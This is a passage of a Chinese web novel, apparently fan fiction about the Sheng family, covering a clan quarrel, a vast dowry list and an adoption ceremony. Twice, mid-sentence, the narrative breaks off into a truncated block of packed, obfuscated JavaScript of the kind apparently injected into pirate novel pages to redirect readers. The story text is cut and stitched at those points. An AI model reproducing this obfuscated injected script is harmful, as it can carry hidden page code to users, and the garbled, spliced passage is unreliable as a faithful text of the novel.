三房太太此时此刻恨不得回去掐死之前那个昏了头的自己,你说什么不好,要攀谈上盛瑾,搞得盛维生气了,万一盛维因为这事不管三房的事了,那以后三房咋过啊! 三房太太一想到这里,立马放低身段,打了一下自己的嘴巴,对盛维低声下气道:“维堂兄,你看我这嘴不会说话,是我错了,你可不能不帮我们三房啊!你要先派人调查,那你就慢慢去查,我们回家等着,你看这样可好。” 盛绉也在一旁点了点头,盛维看着他们两个这不争气的样子,语气中带着些许无奈,道:“你们两个回去等着吧,我调查完后,解决了就派人告诉你们。” 盛绉夫妇闻言笑着对盛维道谢后,就离开了,全程都不提见盛瑾一面,而盛维知道出了这事也不好让盛瑾知道,毕竟这会让盛瑾对盛家产生不好的印象,至于三房,笑话,他们现在躲着盛瑾还来不及呢,哪敢告诉盛瑾这桩丑事,让盛瑾看他们的笑话嘛。 盛维派人去调查三老太爷的事情后,便没怎么在意这件事情了,毕竟他还有许多事情要忙,而且三老太爷也不是第一次惹事了,于是他接着忙起了自己的事情,此时的他没想到这件事情会这么快解决。 夜里,忙碌了一天的盛维回到院子,李氏就迫不及待的迎了上来,然后,她将今天在盛大老太太院中发生的事情原原本本的复述给他听。 等盛维听完后,他脸上浮现出惊喜的表情,语气中充满了喜悦,道:“那真是太好了,母亲的身体能好真是太好了,这一定要好好感谢瑾堂弟才好啊!” 盛维是盛大老太太一手养大的,他见过盛大老太太是如何吃苦受累的养大他们兄妹两个的,因此盛维对盛大老太太十分孝顺,他当然想让盛大老太太身体好好的,这样他就能一直孝顺自己的母亲了。 李氏满脸笑容的对着盛维,语气柔和,道:“谁说不是呢,等母亲好后,我们一定要备份大礼,好好感谢瑾堂弟的大恩啊!” 盛维眼神中带着些许笑意,道:“是要好好的感谢瑾堂弟了,这样吧,三天后是个好日子,我开祠堂将瑾堂弟这一脉记进去,还有将明姐儿和安哥儿的过继一同办了。” 李氏脸上带着些许惊讶,语气中带着些许顾虑,道:“这样时间会不会太仓促了,毕竟这么大的事情,还是要好好的办的。” 盛维眼含笑意,语气柔和,道:“我的好娘子,我们不是之前就把东西采办好了嘛,只需要开祠堂,记入族谱就行了,而且明姐儿和安哥儿的事情早些办好也叫人安心,瑾堂弟不是要在宥阳待上半年嘛,这样过年时,也好让明姐儿堂堂正正的叫瑾堂弟一声爹,这便是对瑾堂弟最好的礼物了。” 李氏不知道想到什么,语气中带着些许犹豫,道:“三房那边需不需要通知一下,万一他们没有空呢,又或是提点一下他们别在那个时候惹事。” 盛维一听到李氏提起盛家三房,便想起今天的事情,语气中不由的带着一丝冷意和嘲讽,道:“三房现在除了三叔父以外的人都有的是时间,直接通知他们来一下就行了,反正他们也只是走个过场罢了,再说了,二婶婶也在场,他们没那个胆子惹事情。” 李氏一看盛维提起盛家三房时的脸色不好,就知道盛家三房的那位老太爷可能是又惹什么麻烦了,让盛维生气了,于是她试探性的询问道:“三房又出了什么幺蛾子了吗?” 盛维觉得这没有什么好隐瞒的,便将今早发生的事情告诉了李氏,李氏一脸气愤道:“三叔父怎么就不能让人省点心呢,不过,这面还没见过呢,那四弟妹怎么就敢打瑾堂弟的主意了,她哪来这么大胆子啊!天爷啊!能耐了她,你说她咋不直接上天啊!” 李氏说到这里,脸上浮现出一抹冷笑,道:“她不会以为瑾堂弟和二婶婶好欺负吧,我平时怎么没看出来她是个蠢货呢。” 盛维面色平静,语气淡然,道:“她可能是一时心急,魔障了吧,绉堂弟打了她一巴掌后,她就清醒了,当时她还一阵后怕呢。” 李氏闻言,语气中带着一丝嘲讽,道:“那是她活该,谁让她做事不思前想后的,这种话都说的出口,人家为什么帮你啊!想当初三房老太爷可是想抢二房家产的,这件事可不是那么容易淡忘的,多大的脸啊!也不想想二婶婶和瑾堂弟会不会搭理她们啊!” 盛维看到李氏一脸愤怒的样子,便笑着转移了话题,开始与李氏聊关于三天后的过继和入族谱的事情了,而此时李氏的娘家早已准备好了礼物,打算再过几天就上门去拜访。 其实不久前李家人就收到李氏的消息,消息的内容给李家人带来了极大的冲击,自己家亲戚里突然出了个国公爷,那无疑像是自己以为的普通亲戚居然在一夜之间变成亿万富翁的感觉。 李家众人回过神来惊喜万分啊!但是相比于李老太爷和李家其他人的开心而言,李老太太的心情可谓是五味杂陈啊! 李老太太此时的心情是既高兴又懊悔,高兴的是自己家有了一个得力的亲戚,懊悔的是这门好亲事本来是自己亲生女儿的,结果却被她们换给了一名庶女,真是捡了芝麻丢了西瓜啊! 李老太太在心里不由得想道:“唉,若是二姐儿知道了,估计会更生气了吧,只希望她晚点知道吧,不然这家中可有得哭闹了。” 李老太太的大媳妇朱氏看到她的脸色有些不对,不由自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李老太太听到李老太爷的话,神情有些不忍,语气有些焦急的为她二女儿辩解,道:“说是这么说,但这门亲事本来就是她的。” 正当李老太太要接着说下去时,李老太爷突然开口打断道:“这门亲事原来是她的,不错,但这也是她自己吃不了苦,硬塞给她三妹妹的,现在还来说这些做什么嘛,她三妹妹又不欠她什么,现在过的不如她三妹妹好就嫉妒了,天下的道理难道都是她的嘛。” 李老太太被李老太爷的语气吓到了,不敢再说下去了,李老太爷看到李老太太这个样子,也知道她只是太在乎自己女儿了,他思考了一下,慢悠悠的开口道:“二姐儿是你亲生的,三姐儿也是在你身边长大的啊!这不,盛家的事情她一知道就派人来说了,可见是念着我们李家的,更何况两个孙子也是你的亲孙子啊!” 李老太太和李老爷夫妇一听到李老太爷提到自己的孙子(儿子),立马提起精神来盯着李老太爷,李老太爷在他们的目光中缓缓开口道:“我们这样的人家已经是不缺钱了,缺的是朝廷上的自己人,盛家盛维不就是因为他的堂弟盛纮当了扬州通判,所以才与宥阳县令关系很好嘛,更别说如今再加上一个盛国公了。” 李老太爷停顿了一下,眼中满是艳羡,道:“那盛国公的母亲可是勇毅侯府独女,在金陵还是有些故人的,这些年来与盛维的母亲关系好到情同姐妹,对盛维这一房更是有大恩,因此,盛维这些年对她可算是照顾有加,当然,一旦盛维有事,她也不会袖手旁观的,她自己如果没有办法,她那个国公爷儿子会没有办法嘛,有什么事情不能和自己的亲儿子开口呢,盛国公看在他母亲的面子上,也会帮盛维一把的。” 李老太爷说道这里时,下意识的用手抚摸着胡须,眼中满是艳羡的感叹道:“这就是家族中有能人的好处啊!在外做生意的底气都比旁人足。” 李老太爷看到李老太太和儿子媳妇还不明白,于是他干脆直把话说开道:“我把郁哥儿和都哥儿送去读书,为的就是让他们科举出仕,改换门庭,可是科举之路又谈何容易啊!我们这样的商贾之家本就被读书人瞧不起,在科举读书这方面没有多少人脉。” 李老太爷叹了口气,继续道:“想想当初郁哥儿和都哥儿读书时,我们送了多少东西,动用了多少关系,才让人家收下他们,同样的事情,如果换作是盛家就不同了,先不说盛家二房的老太太了,光是盛家二房的盛纮就能办到,盛纮本就是扬州通判,结识的读书人也多,找个夫子这样的事情对于他而言十分的简单,现在如今再加上个丰国公盛瑾,盛家可谓是如虎添翼啊!” 李老太爷顿了顿,眼神中带着些许羡慕,道:“丰国公盛瑾,从小被隐世高人收为弟子,年少成名,游历天下,结交了不少的大儒和书院夫子等读书人,有了无双公子这个名头,以高产粮种封了国公之位,还被赐予封地,又是三元及第的状元郎,三十多岁就位居正一品少师,可见陛下对其的恩宠啊!更何况这位盛国公的儿子青出于蓝而胜于蓝,十三岁的年纪成为了六元及第的状元郎,自己的侄子也是十三岁中举,这丰国公府至少五代以内不会没落。” 李老太爷说到这里,思考了片刻,语气平淡,道:“且不论盛国公当初为青州付出了多少,有多少人念着他的恩情,就这些年盛国公的封地上出了不少的进士,又支助了不少学子书院,以及多年在朝堂上积累的人脉,这些都是盛国公的势力,更何况盛国公为朝堂天下做出的功绩不少,陛下对盛国公十分重视,无论盛国公站不站队,下一任皇帝都不会也不能动他。” 李老太爷看向李老太太他们,语气淡然,道:“郁哥儿和都哥儿若能得他一点助力,以后无论是科举之路,还是官场上都会好走不少,但是他凭什么帮郁哥儿和都哥儿呢,说到底郁哥儿、都哥儿与松哥儿、梧哥儿是不同的,前者和盛国公并没有什么关系,后者可是他的亲侄子,因此我们需要维持和盛家这门亲戚。” 李老太太呆呆地看着李老太爷,脸上浮现出一抹复杂的神情,道:“所以你是为了郁哥儿和都哥儿才让我对三姐儿好点的嘛。” 李老太爷语气中带着无奈,道:“不然你以为呢,我本来是看中盛家二房的盛纮,谁能想到现在盛家二房又多了个盛国公,我们本来就是八竿子打不着的亲戚,还不努力维持一下关系,以后人家怎么可能帮你呢。” 一旁的李老爷夫妇看着李老太太,心里的想法不由自主的同步,道:“看来三妹妹这门亲事得维持住了,为了儿子们,多难都得维持住。” 李老太太心里想着手心手背都是肉啊!虽然她心疼女儿的状态,但是孙儿们更重要啊!况且这也是女儿自己选的婚事,后悔已无用了,还是先保住孙儿们吧。 李老太太沉默了许久,才缓缓点了点头,语气中带着一丝无奈与妥协,道:“下次三姐儿回来时,我会好好待她的。”她的话让李老爷夫妇心里同时松了口气。 李老爷夫妇本来是迫不及待的想要去盛家拜访的,但是李老太爷让他们先等上一些时日,让人家亲戚相处一段时间,现在去打扰人家不好,于是他们便消停下来。 第 48 章 清晨,宥阳盛家迎来了一辆专门找盛瑾的马车,盛家的小厮得知是盛长轩派来后,便领着人进来见盛瑾了。 那人一见到盛瑾就直接将手中的信件交了出去,盛瑾让小厮带着盛长轩的人下去休息,并吩咐小厮们去将盛长轩寄来的东西卸下来后,他便打开盛长轩的信件细细看起来,他本来听到盛长轩给他送礼物时,心里顿时一阵欣慰的同时,还无限感慨自家儿子长大了,会孝敬含辛茹苦将他养大的老爹了。 等盛瑾看完信后,前面的感动全都喂了狗了,全篇下来大部分都是问候盛老太太和盛明兰的话语,关于盛瑾的内容,总结下来就是您儿子在边疆过的很是辛苦,如果可以的话,请老爹多加赞助一下自己儿子的事业,至于提前将慕卿云的一成嫁妆交给盛老太太保管和盛瑾给盛长安置办家产这些事情,盛长轩的回复就是一切听从盛瑾的决定,毕竟他还是相信自家老爹不会将大部分的家产都留给别人,而抛弃自己这唯一的亲儿子。 盛瑾瞧着这封信,心里忍不住的翻白眼,吐槽道:“感情你老爹在你眼里就是个提款机啊!还是无限的那种。” 盛瑾刚想要回信骂盛长轩时,可这心里又有些舍不得,于是他开始自我安慰道:“至少这小兔崽子还记得给自己妹妹和祖母送礼物,还算是有点良心,就不对他要求过多了。”这能怎么说呢,从某种意义上来说,盛长轩的胆子就是被盛瑾养出来的,周瑜打黄盖,一个愿打一个愿挨。 盛瑾将盛长轩的信件放入空间的同时,取出了他来宥阳前手写好的慕卿云的嫁妆单子,这份嫁妆单子上记录的是除慕卿云送出去的东西外剩下的嫁妆,即使是这样,这份嫁妆单子也有两本书那么厚,于是他干脆写了三张总计概括嫁妆数量的纸放在嫁妆单子前面。 盛瑾吩咐小厮们将盛长轩送来的东西都收拾好,正当他想拿着嫁妆单子和盛长轩的东西去找盛老太太时,盛维出现了,于是他只能先让小厮们将东西抬去给盛老太太,并让他们告诉盛老太太这是盛长轩送给她和盛明兰的,而自己则与盛维聊完后再去找盛老太太了。 盛维瞧着小厮们抬着一箱东西出去,眼中闪过一丝疑问,直接开口询问道:“瑾堂弟,你这是要干什么呢?” 盛瑾没打算隐瞒什么,直言道:“我先前写信告知了轩哥儿关于母亲他们的事情,这是轩哥儿从边疆寄来给母亲和明儿的东西,我让小厮们给母亲送去。” 盛维听见盛瑾提到“盛长轩”,满脸笑意,语气中带着欣赏,道:“还是瑾堂弟会教孩子啊!轩哥儿大老远的还惦记着给二婶婶送东西,这孩子可真是孝顺啊!” 盛维与盛瑾客道了一会儿后,他看出盛瑾有事找盛老太太,便直接单刀直入,与盛瑾商量起关于两天后盛瑾一脉记入族谱以及盛明兰姐弟过继的事宜。 盛瑾表示自己对提早记入族谱以及过继的事情没有任何意见,并且他相信盛维作为盛家族长的能力,而盛维被盛瑾打了这一波鸡血后便开始全身心的准备起这些事情了。 盛瑾送走盛维后便径直来到盛老太太屋内,他一进门就瞧见盛老太太拿起盛长轩寄来的东西中一块银狐毛皮,满脸笑意,道:“轩轩这些东西送的好啊!这块银狐毛皮色泽清爽美丽,毛绒细柔丰厚,皮板轻薄最适合给明儿做披风了,等过几天找几个绣娘连同先前婷儿准备的锦缎一起给明儿制几身衣裳和披风。” 盛瑾瞧着盛老太太现下一副盛长轩最好的样子,不禁莞尔一笑,道:“母亲,那兔崽子可没你想的这么好。” 盛老太太眼神中带着些许不满的看向盛瑾,随即反驳道:“轩轩哪里不好了啊!他在边境那边受苦,还想着我这个祖母和明儿这个妹妹,这么孝顺懂事的孩子怎么可能不好呢,你莫要胡说,对了,边境那边条件艰苦,你可得安排好我的轩轩,莫让他吃太多苦了。” 盛瑾听着盛老太太的话,一时之间竟有些无言以对,随即也不好再说盛长轩什么坏话了,他在心里默默想道:“得,看在你把母亲哄高兴的份上,就给你送点东西过去。”这明眼人都知道,盛瑾是在为自己找借口,给盛长轩送东西。 如果盛长轩知道自己哄盛老太太高兴,又多得了十几车粮食,一定会抱着盛老太太的大腿接着哄,但是很可惜,他并不知道这个从他老爹那里发财的法子,不过说真的,他在边疆练兵是真穷啊!要不是他老爹盛瑾有钱,还真供不下他练兵的粮草,可别提朝廷发的粮草了,那些还不够他霍霍的啊!这不他只能逮着自家老爹的羊毛齁了,毕竟他也没有做出什么成就,也没办法齁朝廷的羊毛啊! 盛瑾不想在继续这个话题了,只能随着盛老太太的话,道:“好好好,我一定照顾好母亲的好孙儿。”他随即提起盛维刚刚和他说的事情来转移盛老太太的注意力。 如盛瑾所料,盛老太太得知再过两天盛维就要开祠堂将盛瑾一脉记入族谱,并将盛明兰和盛长安过继的事情后,她瞬间就没有再和盛瑾议论盛长轩的事情了。 盛老太太此时的内心是十分激动的,为了感激盛维在这件事情上出的力,她便与盛瑾商议着从自己的私库里拿些东西送给李氏以表感谢。 盛瑾听到盛老太太话,语气中带着一丝急促,道:“这件事情与我有关,既然是向维堂兄表示感谢,也应该由我送东西,哪能让母亲出东西呢,要不这样吧,东西由我来准备,以母亲的名义送给淑兰、品兰、长松、长梧,为了不让维堂兄落人口舌,我再准备一份相同的给桂姐和泰生送去。” 盛瑾说到这里,不等盛老太太回答,他就继续道:“姑娘们都送一副金镶珠宝摺丝大手镯、一对景泰蓝红珊瑚耳环、一支金镶珠石蝴蝶簪、两匹桃红色的蜀锦,只不过淑兰和品兰多得了个纯紫水晶吊坠,而哥儿们则是笔墨纸观,外加两匹青色的蜀锦。”不过,他送得这些笔墨纸观都是上好的,尤其是其中的笔,那是用上好的狼毫毛和紫檀木制作而成的。 盛老太太听着盛瑾的话,便知他是早就打算好的,于是她也不好多说什么,只是笑骂道:“原来你早就打算好不让我出一点东西啊!不过,别家都是重男轻女,怎么到了你这成了重女轻男了,看看你给侄女的东西可比侄子的多得多了。” 盛瑾语气中带着一丝调笑,道:“那是当然了,男孩子哪有女孩子来的好呢,人们不是常说女儿是父母亲的贴身小棉袄嘛,再说了,母亲也不见得比我少疼姑娘啊!” 盛老太太被盛瑾逗得乐的不行,止不住笑意,语气中带着一丝调侃,道:“你哪来的这么些歪理啊!不过瞧你如今这般的大手笔,那到时候明儿出嫁的嫁妆恐怕不少吧。” 盛瑾一听到自己辛辛苦苦养大的女儿以后要被人娶走,心中一下子就难过起来,语气中带着些许孩子气,道:“我家女儿谁也不嫁,我养她一辈子。” 盛老太太面带微笑的拍着盛瑾的手,语气轻柔,道:“哪有姑娘家的一辈子留在家里不嫁人的,你这是说的孩子气话,等明儿大了,还是要嫁人的,到时候我们好好的为她寻上一门好亲事,再给她准备一笔丰厚的嫁妆,让她开开心心的过一辈子。” 盛瑾闻言有些郁闷了,而盛老太太瞧着盛瑾没再说话,也知道他是不反对的,便开始和他说起了盛明兰的嫁妆问题,她脸上浮现一抹笑容,语气平淡,道:“自古大户人家、高门显贵的女儿都是从小开始攒嫁妆的,我当初也是十里红妆出嫁的。” 盛瑾看到盛老太太聊到自己的嫁妆时,面露伤感,便知道盛老太太可能是想到了自己的一些伤心事情,他从先前房嬷嬷口中得知的联想到了盛老太太这些年的嫁妆至少一大部分是贴补了盛家。 盛瑾当初得知这件事情时,便想要给盛老太太送东西来弥补这部分损失,但是他又不知道如何开口让盛老太太接受,于是他就一直没提这件事。 盛瑾也知道盛老太太应该是通过她的嫁妆想起了某些事情,虽然他不知道盛老太太在想什么,但他并不想让盛老太太再伤心下去,正当这时他想起了自己是来和盛老太太说慕卿云那一成嫁妆的事情的,于是他便借着这件事情转移话题,道:“母亲,您不是和我聊明儿的嫁妆嘛,别想其他的了,正好我今日前来也是打算聊一聊明儿的嫁妆问题,再说了,等两天后,明儿就是您的嫡亲孙女了,您可就只有这一个嫡亲孙女啊!您现在可不得为她来敲敲儿子的竹竿嘛。” 盛老太太被盛瑾逗乐了,语气中带着一丝笑意,道:“什么叫就只有这一个嫡亲孙女,说得好像你弟弟盛纮不是在我名下一样,他那三个女儿在礼法上也是我的亲孙女,再说了,就你疼明儿那个样子,你能亏待了她嘛。” 盛瑾瞧着盛老太太已经将先前伤心的事情抛之脑后,便故弄玄虚道:“不仅我不会亏待明儿,云儿也不会亏待自己的女儿的。” 盛瑾见盛老太太被勾起了好奇心,便将手中拿着的一本厚厚的嫁妆单子递给盛老太太,等盛老太太接过后,他才继续道:“这是我手写的关于我娘子云儿的嫁妆单子,当年她逝世前曾留有遗言,若是我再娶,那么她嫁妆中的一成则分给我后面所生的孩子们,以全了我与她的一番情义,可是我这辈只要她一人,那还会再娶啊!正好如今我要过继明儿到她的名下,便去信与轩轩商量后决定按照云儿的遗愿将她的一成嫁妆拿出来给明儿当嫁妆,等我们回到汴州城便将属于明儿的那份取出来交由母亲你保管。” 盛老太太被慕卿云这宛如两本书的嫁妆单子给吓到了,等盛瑾说完后,她不由自主的翻开这本嫁妆单子,映入眼帘的是盛瑾写的总计,上面内容是四百九十五万两黄金、珠宝首饰六十七箱、各色宝石七十五箱、各色珍珠七十箱、各色珊瑚五十箱、各种名贵布料共计三千五百匹、各种珍贵皮毛一千三百张、各式珍宝、玉器摆件三百二十箱,古玩字画六十五箱,精致的四季衣物七十八箱,各种珍贵木料五十根、各种日用品和化妆品七十三箱、各种香料二十七箱、各种珍贵药材六十五箱、各色翡翠料子五十七箱…… 盛老太太看着上面的记载,不由的感觉自己的手抖得厉害,险些拿不稳这份嫁妆单子,她这逝世媳妇的嫁妆都快赶上皇室的宝库了,不,皇室的宝库也许都没她的嫁妆多,人家是十里红妆,她这媳妇的嫁妆怕是都快赶上十万里红妆了吧,挂不得汴州城里的人说盛国公夫人的嫁妆抬了三天,她此时觉得三天抬完这些嫁妆都算快的了。 盛瑾没有在意盛老太太的状态,继续道:“这些是除去云儿送出去的东西外剩下的东西,对了,我当初还给云儿准备了一百间铺子、五千亩上好水田、三十个庄子作为聘礼一同加入到她的嫁妆中了,这些年收入共计两百六十万两,我一分没动都留着呢。” 盛老太太此时已经被震惊到没有心思看慕卿云的嫁妆单子了,她沉默了片刻,道:“瑾儿,虽然媳妇的遗愿是留一成给明儿当嫁妆,但媳妇嫁妆的一成太多了,我们不能也没办法准确计算出一成来给明儿当嫁妆。” 盛瑾面色淡然,语气中带着了然,道:“我就知道母亲会这么说的,我先前的打算便是田产铺子银钱这些就按一成给明儿,而其他东西则是由母亲和我挑着给明儿,这些东西虽价值不菲,但却不好明确分配,只能挑些给明儿备着,其他的再由母亲为明儿细细攒了。”虽然他是这么说,但怕盛老太太因着盛长轩和他不愿选太多,所以他才打算与盛老太太一起挑选。 盛老太太见盛瑾这般也不好多说什么,更何况盛瑾都说盛长轩也同意了,盛瑾见状,继续道:“除了明儿还有安哥儿,我先前说给他置办家产的事情可不是说笑的,陛下不是赏赐了我一成盐、糖方子的利润嘛,我打算每年从其收入的银钱中取出二十万两,其中明儿和安哥儿各占九万两,母亲占二万两,明儿和安哥儿那份银钱,我会一直给到他们出嫁娶妻,安哥儿那一份母亲就拿来为他置办家产,明儿那份则是劳烦母亲为她置办、积攒嫁妆。”他灵机一动,借此提出给盛老太太银钱来贴补她。 盛老太太愣了几秒才反应过来,语气中带着些许惊讶,道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛瑾对此一整个无语,这是儿子嘛,这整个就是个赔钱货,想想他那犹如丢进海里的银子,就没见个回头子,不对,他拿去丢进海里至少能听个响声吧,丢到盛长轩那里连个响声都听不见。 盛老太太对此事一点都不知情,如今还深表感慨道:“轩轩可真是大方又疼爱弟妹啊!”这话听的盛瑾嘴角抽搐,又不能说什么。 盛老太太神情温和的看向盛瑾,道:“既然瑾儿你和轩轩都不在意,那我也不好多说什么了,不过,我有体己钱,瑾儿你不必想着用银钱来贴补我。” 盛瑾看着盛老太太,语气中带着些许撒娇的意味,道:“母亲,这是我作为儿子孝敬您的,您可不能敷了我的一片孝心啊!再说了,等回汴州城后,我还有丰国公府的中馈要交给您呢,您就当是儿子给您管理中馈的辛苦钱吧。” 盛瑾瞧着盛老太太还想开口拒绝,他直接给盛老太太透了个底,语气中带着一丝玩笑的意味,道:“母亲,儿子有的是银钱,且不说我师傅将他全部的身家都留给了我,单单是义父,他在我成婚前,便将他三分之一的身家送给了我,这些可都是我的私产,所以您就不必替我省银子了,毕竟您儿子我也算是小有身家的人了。” 盛老太太闻言,嘴角微微抽搐,她忍不住翻了个白眼,吐槽道:“瑾儿,你这叫小有身家,那汴州城里那些个高门显贵该叫什么,你知不知道你的家产比汴州城里的那些个高门显贵、大户人家加起来还要多的多呀,你这让他们情何以堪啊!” 盛老太太此时对盛瑾脸皮的厚度又有了新的了解,她深深地觉得她现在还没有打死这个家伙,全凭着盛瑾是她的亲生儿子的原因,要不然,单单冲着他这句“小有身家”,自己就该立刻动起手来了,当然,如果她知道世界上还有一个词名为“凡尔赛”的话,也就会知道自己儿子现在这个样子便是身体力行的向她展现这个词的含义。 盛老太太属实是觉得盛瑾的身家已经不能用富有来形容了,准确来说,应该是富得流油啊!毕竟她从慕卿云的嫁妆中也能窥探出盛瑾师傅的身家有多丰厚,要不然也不能给盛瑾定下嫁妆如此丰厚的姑娘,此时此刻她才知道坊间流传的盛瑾师傅给他留下的巨额遗产是真的,恐怕比流传中的还要多得多。 盛瑾瞧着盛老太太的眼光越来越不妙,急忙开口转移话题,道:“母亲,我们莫说这些了,现在先要从云儿的嫁妆中明确给明儿的嫁妆数量,这才是正事,等我们明确了明儿的嫁妆数量后,母亲在慢慢从中挑选。” 盛老太太闻言,目光收敛起来,对于盛瑾孝敬她银钱的事情没有在反对,她面色淡然,语气柔和,道:“瑾儿,你说的是,那我们现在一起来商讨一下吧。”于是她便和盛瑾一同商讨起来,过了好一会儿,在盛瑾的力与据争下,他们最终商定慕卿云留给盛明兰的嫁妆如下: 田产铺子:铺子十间、水田五百亩、庄子三个;银钱:黄金四十九万五千两,银子二十六万两;珠宝首饰六箱、各色宝石七箱、各色珍珠七箱、各色珊瑚五箱、各种名贵布料共计三百五十匹、各种珍贵皮毛一百三十张、各式珍宝、玉器摆件三十二箱,古玩字画六箱,精致的四季衣物七箱,各种珍贵木料五根、各种日用品和化妆品七箱、各种香料三箱、各种珍贵药材七箱、各色翡翠料子六箱…… 盛瑾和盛老太太将箱数确定,不过,盛老太太本来不打算选这么多的,可是架不住盛瑾劝说,因此她有些东西少拿点,有些东西多拿点,零零散散的也挑了将近慕卿云嫁妆的一成,不过,她也和盛瑾说了,从现在开始慕卿云嫁妆中的田产铺子在还未交到她手中之前的收入,盛明兰就不必再占一成了,而盛瑾瞧着盛老太太态度坚决的样子也就不说什么了。 盛瑾见事情都解决了,便与盛老太太闲聊了一会儿后回去了,而盛老太太则是拿起慕卿云的嫁妆单子细细挑选,当然,她现在只是圈个范围,等回到汴州城还需要打开存放慕卿云嫁妆的库房,再看一遍做出一些调整,此时此刻五岁的盛明兰小朋友还不知道自己名义上的母亲给她留下了一份已经不能用丰厚来形容的嫁妆。 第 49 章 明媚清新的早晨,正如李氏此时的心情一般,她看着盛瑾今天一早让小厮们送来的东西,嘴角微微上扬,道:“瑾堂弟也真是的,一家人哪用得着这么客气呢。” 李氏的心腹方妈妈在一旁附和道:“谁说不是呢,瞧瞧这些个珠宝首饰、笔墨纸砚哪样不是上等的,可见国公爷对我们姑娘哥儿的重视啊!” 李氏听着方妈妈的话,只觉得神清气爽,语气微微上扬,道:“我可不在乎东西的贵重,只要瑾堂弟有这份心,我就很满足了。” 正如李氏所言,她最在意的从不是盛瑾送的东西有多珍贵,而是盛瑾对盛家大房的态度,显然盛瑾的态度让她十分的满意,因此,她对明天盛瑾一脉记入族谱以及盛明兰姐弟过继之事更上心了,于是她在这件事情上使出吃奶的力气,誓要将明天盛瑾的事情办得漂亮。 于此同时,盛纭那边也意外的收到了盛瑾送来的东西,正当她一脸茫然的找到盛大老太太述说这件事情时,盛大老太太则是一副了然的神情,语气淡然,道:“你大哥哥把瑾哥儿记入族谱和明姐儿安哥儿过继的时间提前了。” 盛纭一下子明白过来,心里暗道:“看来瑾堂兄对大哥哥的做法很满意啊!要不然,也不会给姑娘哥儿们送东西来表示感谢,不过,瑾堂兄为人处世真是不错,既然都要送东西了,那就两家一起送,也好让大哥哥不落人口舌。” 盛纭满脸笑意的拍了拍手,语气中带着些许打趣的意味,道:“看来是我沾了大哥哥的光了,白得了瑾堂兄的这些个好东西。” 盛大老太太瞧着盛纭这有些不正经的神情,不由自主的拍了拍盛纭的手,语气中带着些许笑意,道:“你这个财迷样啊!尽想着好东西去了,也不想想怎么样对明姐儿和安哥儿好,莫忘了亲戚之间要有来有往,方能长久这一道理。” 盛纭蹭了蹭盛大老太太的手臂,语气中带着一丝讨好的意味,道:“母亲我知道的,不用你说,等过年时,我一定给明姐儿和安哥儿一个大红包,对了瑾堂兄那个郎中给您吃的药,您吃完后怎么样吗?” 盛大老太太瞧着盛纭一脸关心的表情,想起自己这些日的睡眠很好,便直言道:“那郎中的医术是真好啊!几副药下去,我整个人感觉身上暖暖的,最近睡眠也好了,恐怕不只是郎中医术高超,还有药材好的缘故。” 盛纭闻言,眼中满是喜悦,道:“看来那日郎中与母亲说的都是真的,那真是太好了,我们得好好谢谢瑾堂兄和二婶婶啊!” 盛大老太太眼中闪过一丝笑意,语气柔和,道:“是要好好谢谢二弟妹和瑾哥儿了,我本来以为遇到瑾哥儿是你二婶婶的福气,没成想竟然也是我的福气。” 盛大老太太说到这里,无意提起道:“纭儿,你都出来这么多天了,有没有想过什么时候回去呢?虽说是因为家里来了亲戚多住几天,但是你回娘家这么多天,即使你婆家不说什么,久了,外人也会传出一些闲言碎语的。” 盛纭见盛大老太太提起这件事情,语气中带着些许轻快,道:“这不赶巧了嘛,我本来打算再过几天就回去了,谁知今日从母亲这听到过继的事情提前了,正好,等过继的事情结束后,我再带官人孩子回去。” 盛纭说到这里,不禁开玩笑道:“也让我家哥儿姐儿回去炫耀炫耀他们堂舅舅送的东西,顺便让大家也都开开眼界。” 盛大老太太莞尔一笑,无情的拆穿盛纭,道:“瞧你这得瑟的劲,尽在这儿说胡话,我看回去你藏的比谁都严实。” 盛纭闻言也不脸红,直言道:“母亲,你不是常教我们财不外露嘛,我这般只能说明你女儿我学的好嘛。” 盛大老太太犹如盛纭小时候般,捏了捏盛纭的脸蛋,道:“你这是夸我呢,还是夸你自己呢,真真是脸皮比汴州城的城墙都厚啊!” 盛纭没有反驳盛大老太太,她面带微笑的抱着盛大老太太的手臂犹如闺阁时候一般,在母亲身上撒娇,房间内一片温馨。 时间转瞬即逝,很快就到了盛维开祠堂的日子,此时的盛家亲眷除了三房老太爷没有来,其余人都到了。 这天天气晴朗,盛家举行的场面十分隆重,几乎全宥阳都知道盛家今天有大喜事,至于是什么喜事就不得而知了,不过,这并不妨碍事情过后,人们抑制不住内心的八卦之火,从而向他人打听,这都是之后的事情了。 此时的盛维将盛瑾一脉记入族谱后,再将盛明兰和盛长安分别过继到盛瑾和他大哥名下,因着他对此事的重视,以及盛家最大的搅屎棍盛三老太爷没有来,所以今日的一切都进行的十分顺利。 等盛维将一切都忙完后,盛家三房的人便匆匆告退了,毕竟他们还要回去照顾盛三老太爷呢,更何况他们自觉留下来也不会得什么好处的,还不如早点离开的好,与盛家三房心境不同的是盛家大房和盛瑾一行人,尤其是盛瑾,明眼人都能看出来他今天的心情很好,如果用天气来形容他此时此刻的心情,那可谓是艳阳高照啊!从他一整天都抱着盛明兰的动作就可以看出来了,因此所有人都在恭喜盛瑾喜得一女。 在这大喜的日子里,唯一一个不开心的人可能就是盛品兰小朋友了,盛瑾一整天都抱着盛明兰,导致盛品兰一直围在盛瑾身边,试图让盛瑾将盛明兰放下来,与她一起玩耍,但是盛瑾因为太高兴了,以至于没有领会盛品兰小朋友的意思。 盛品兰小朋友也因着自己的小伙伴被抢走而生气了一整个上午,但是偏偏抢走小伙伴的是小伙伴的父亲,她又不能说什么,所以她今天一整个上午都撅着嘴,看样子都可以挂油瓶了,即使是她最喜欢的食物也不能让她撅着的嘴放下来。 